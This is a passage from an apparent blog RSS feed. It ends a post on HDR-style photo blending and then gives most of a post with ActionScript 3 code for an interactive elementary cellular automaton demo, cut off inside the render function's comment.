In this one, you can make out the indoor scene pretty clearly, but the light from outside completely blows out that section of the image.</p>
<p>These three images were combined using PTGui Pro, with the &#8216;Exposure Fusion&#8217; HDR processing option, and I tweaked the sliders around until it looked nice. Here is the resulting image:</p>
<p><center><a href="http://davr.org/house2/P1060731_blend-1200x660.jpg"><img src="http://davr.org/house2/P1060731_blend-300x225.jpg" width="300" height="216" border="0"/><br />
<font size="-2">(click to enlarge)</font></a></center><br />
As you can see, both the indoor and outdoor scene are visible, and the image as a whole has a subtle effect applied to it that you don&#8217;t normally see in digital photography (outside of these HDR type of shots).</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.davr.org/2008/09/03/hdr-like-photo-fun/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Simple Cellular Automata Example in AS3</title>
		<link>http://blog.davr.org/2008/08/22/simple-cellular-automata-example-in-as3/</link>
		<comments>http://blog.davr.org/2008/08/22/simple-cellular-automata-example-in-as3/#comments</comments>
		<pubDate>Fri, 22 Aug 2008 19:33:39 +0000</pubDate>
		<dc:creator>davr</dc:creator>
				<category><![CDATA[Flash]]></category>
		<category><![CDATA[Software]]></category>
		<category><![CDATA[actionscript]]></category>
		<category><![CDATA[as3]]></category>
		<category><![CDATA[cellular automata]]></category>
		<category><![CDATA[chaos]]></category>
		<category><![CDATA[code]]></category>

		<guid isPermaLink="false">http://blog.davr.org/?p=80</guid>
		<description><![CDATA[To get a little more experience with ActionScript 3, I wrote up a very simple class which will take a rule number, and then generate a cellular automata based on that. Read the full post to see the result, as well as the code.]]></description>
			<content:encoded><![CDATA[<p>To get a little more experience with ActionScript 3, I wrote up a very simple class which will take a rule number, and then generate a cellular automata based on that. </p>
<p>The movie below requires Flash 9 or above to be installed. Some rules to try out: 90, 30, 73, 110, 150. Valid numbers are 0-255, but not all produce interesting results.<br />

<object width="601" height="300">
<param name="movie" value="http://blog.davr.org/wp-content/uploads/2008/08/cellularautomata.swf"></param>
<param name="quality" value="high"></param>
<param name="wmode" value="window"></param>
<param name="menu" value="false"></param>
<param name="bgcolor" value="#FFFFFF"></param>
<embed type="application/x-shockwave-flash" width="601" height="300" src="http://blog.davr.org/wp-content/uploads/2008/08/cellularautomata.swf" quality="high" bgcolor="#FFFFFF" wmode="window" menu="false" ></embed>
</object>
</p>
<p><a href="http://blog.davr.org/wp-content/uploads/2008/08/cellularautomata.swf">Direct link to flash movie</a> (got some people complaining the SWFObject script doesn't work under Vista)</p>
<p>See <a href="http://en.wikipedia.org/wiki/Cellular_automata">Wikipedia</a> for more info, and <a href="http://mathworld.wolfram.com/ElementaryCellularAutomaton.html">Wolfram.com</a> has a list of all 256 possible results<br />
Here's the code:<br />
<span id="more-80"></span></p>
<div class="igBar"><span id="lactionscript-1"><a href="#" onclick="javascript:showPlainTxt('actionscript-1'); return false;">PLAIN TEXT</a></span></div>
<div class="syntax_hilite"><span class="langName">Actionscript:</span>
<div id="actionscript-1">
<div class="actionscript">
<ol>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #808080; font-style: italic;">/**</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #808080; font-style: italic;"> * Simple Cellular Automata example</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #808080; font-style: italic;"> * by David Rorex, 2008</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #808080; font-style: italic;"> */</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">package </div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #66cc66;">&#123;</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; <span style="color: #0066CC;">import</span> flash.<span style="color: #006600;">display</span>.*;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; <span style="color: #0066CC;">import</span> flash.<span style="color: #006600;">events</span>.*;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; <span style="color: #0066CC;">import</span> flash.<span style="color: #006600;">geom</span>.*;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; <span style="color: #0066CC;">import</span> flash.<span style="color: #0066CC;">text</span>.*;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; <span style="color: #0066CC;">import</span> flash.<span style="color: #006600;">ui</span>.<span style="color: #006600;">Keyboard</span>;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; <span style="color: #0066CC;">import</span> flash.<span style="color: #006600;">utils</span>.<span style="color: #0066CC;">getTimer</span>;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; <span style="color: #0066CC;">import</span> sim.<span style="color: #006600;">EasyButton</span>;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; </div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; <span style="color: #0066CC;">public</span> <span style="color: #000000; font-weight: bold;">class</span> Main <span style="color: #0066CC;">extends</span> Sprite</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; <span style="color: #66cc66;">&#123;</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #808080; font-style: italic;">/// Holds the data we draw onto</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #0066CC;">private</span> <span style="color: #000000; font-weight: bold;">var</span> bdata:BitmapData;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; </div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #808080; font-style: italic;">/// Bitmap container for displaying our rendering</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #0066CC;">private</span> <span style="color: #000000; font-weight: bold;">var</span> bitmap:Bitmap;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #808080; font-style: italic;">/// Text field for typing in rule numbers</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #0066CC;">private</span> <span style="color: #000000; font-weight: bold;">var</span> inp:<span style="color: #0066CC;">TextField</span>;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; </div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #808080; font-style: italic;">/// Button to click to render</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #0066CC;">private</span> <span style="color: #000000; font-weight: bold;">var</span> btn:EasyButton;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; </div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #808080; font-style: italic;">/// Constructor</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #0066CC;">public</span> <span style="color: #000000; font-weight: bold;">function</span> Main<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">void</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #66cc66;">&#123;</span>&nbsp; &nbsp;&nbsp; &nbsp;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #808080; font-style: italic;">// set up the input textfield</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; inp = <span style="color: #000000; font-weight: bold;">new</span> <span style="color: #0066CC;">TextField</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; addChild<span style="color: #66cc66;">&#40;</span>inp<span style="color: #66cc66;">&#41;</span>;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; inp.<span style="color: #0066CC;">type</span> = TextFieldType.<span style="color: #006600;">INPUT</span>;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; inp.<span style="color: #0066CC;">border</span> = <span style="color: #000000; font-weight: bold;">true</span>;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; inp.<span style="color: #0066CC;">text</span> = <span style="color: #ff0000;">"90"</span>;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; inp.<span style="color: #006600;">addEventListener</span><span style="color: #66cc66;">&#40;</span>KeyboardEvent.<span style="color: #006600;">KEY_UP</span>, onEnter<span style="color: #66cc66;">&#41;</span>;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; inp.<span style="color: #0066CC;">height</span> = <span style="color: #cc66cc;color:#800000;">20</span>;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #808080; font-style: italic;">// set up the render button</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; btn = <span style="color: #000000; font-weight: bold;">new</span> EasyButton<span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">"Render"</span><span style="color: #66cc66;">&#41;</span>;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; btn.<span style="color: #006600;">addEventListener</span><span style="color: #66cc66;">&#40;</span>MouseEvent.<span style="color: #006600;">CLICK</span>, <span style="color: #000000; font-weight: bold;">function</span><span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">e</span>:*<span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">void</span> <span style="color: #66cc66;">&#123;</span> doRender<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>; <span style="color: #66cc66;">&#125;</span> <span style="color: #66cc66;">&#41;</span>;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; addChild<span style="color: #66cc66;">&#40;</span>btn<span style="color: #66cc66;">&#41;</span>;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #808080; font-style: italic;">// set the stage to not scale, and to get an event if the window changes size</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #0066CC;">stage</span>.<span style="color: #0066CC;">scaleMode</span> = StageScaleMode.<span style="color: #006600;">NO_SCALE</span>;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #0066CC;">stage</span>.<span style="color: #0066CC;">align</span> = StageAlign.<span style="color: #006600;">TOP_LEFT</span>;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #0066CC;">stage</span>.<span style="color: #006600;">addEventListener</span><span style="color: #66cc66;">&#40;</span>Event.<span style="color: #006600;">RESIZE</span>, <span style="color: #0066CC;">onResize</span><span style="color: #66cc66;">&#41;</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #808080; font-style: italic;">// initialize the size</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; setSize<span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">stage</span>.<span style="color: #006600;">stageWidth</span>, <span style="color: #0066CC;">stage</span>.<span style="color: #006600;">stageHeight</span><span style="color: #66cc66;">&#41;</span>;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #66cc66;">&#125;</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; </div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #808080; font-style: italic;">/**</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #808080; font-style: italic;">&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; * Event handler for when the stage changes size</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #808080; font-style: italic;">&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; * @param e</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #808080; font-style: italic;">&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; */</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #0066CC;">private</span> <span style="color: #000000; font-weight: bold;">function</span> <span style="color: #0066CC;">onResize</span><span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">e</span>:Event<span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">void</span> <span style="color: #66cc66;">&#123;</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; setSize<span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">stage</span>.<span style="color: #006600;">stageWidth</span>, <span style="color: #0066CC;">stage</span>.<span style="color: #006600;">stageHeight</span><span style="color: #66cc66;">&#41;</span>;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #66cc66;">&#125;</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; </div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #808080; font-style: italic;">/**</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #808080; font-style: italic;">&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; * Event handler to catch the user pressing ENTER in the text field</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #808080; font-style: italic;">&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; * @param e</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #808080; font-style: italic;">&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; */</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #0066CC;">public</span> <span style="color: #000000; font-weight: bold;">function</span> onEnter<span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">e</span>:KeyboardEvent<span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">void</span> <span style="color: #66cc66;">&#123;</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">if</span> <span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">e</span>.<span style="color: #006600;">charCode</span> == Keyboard.<span style="color: #0066CC;">ENTER</span><span style="color: #66cc66;">&#41;</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; doRender<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #66cc66;">&#125;</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; </div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #808080; font-style: italic;">/**</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #808080; font-style: italic;">&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; * Simple method to call the render function</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #808080; font-style: italic;">&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; */</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #0066CC;">public</span> <span style="color: #000000; font-weight: bold;">function</span> doRender<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">void</span> <span style="color: #66cc66;">&#123;</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; render<span style="color: #66cc66;">&#40;</span><span style="color: #0066CC;">parseInt</span><span style="color: #66cc66;">&#40;</span>inp.<span style="color: #0066CC;">text</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #66cc66;">&#125;</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; </div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #808080; font-style: italic;">/**</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #808080; font-style: italic;">&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; * Adjust the positioning of our elements based on a given size</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #808080; font-style: italic;">&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; * @param w</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #808080; font-style: italic;">&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; * @param h</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #808080; font-style: italic;">&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; */</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #0066CC;">public</span> <span style="color: #000000; font-weight: bold;">function</span> setSize<span style="color: #66cc66;">&#40;</span>w:<span style="color: #0066CC;">Number</span>, h:<span style="color: #0066CC;">Number</span><span style="color: #66cc66;">&#41;</span>:<span style="color: #0066CC;">void</span> <span style="color: #66cc66;">&#123;</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; btn.<span style="color: #006600;">x</span> = w - btn.<span style="color: #0066CC;">width</span>;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; inp.<span style="color: #0066CC;">width</span> = w - btn.<span style="color: #0066CC;">width</span> - <span style="color: #cc66cc;color:#800000;">2</span>;&nbsp; &nbsp; &nbsp; </div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #66cc66;">&#125;</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; </div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #808080; font-style: italic;">/**</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #808080; font-style: italic;">&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; * Render cellular automata.</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #808080; font-style: italic;">&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; * @param ruleNum - the number of the rule to draw. Some interesting numbers are '30' and '90'</span></div>
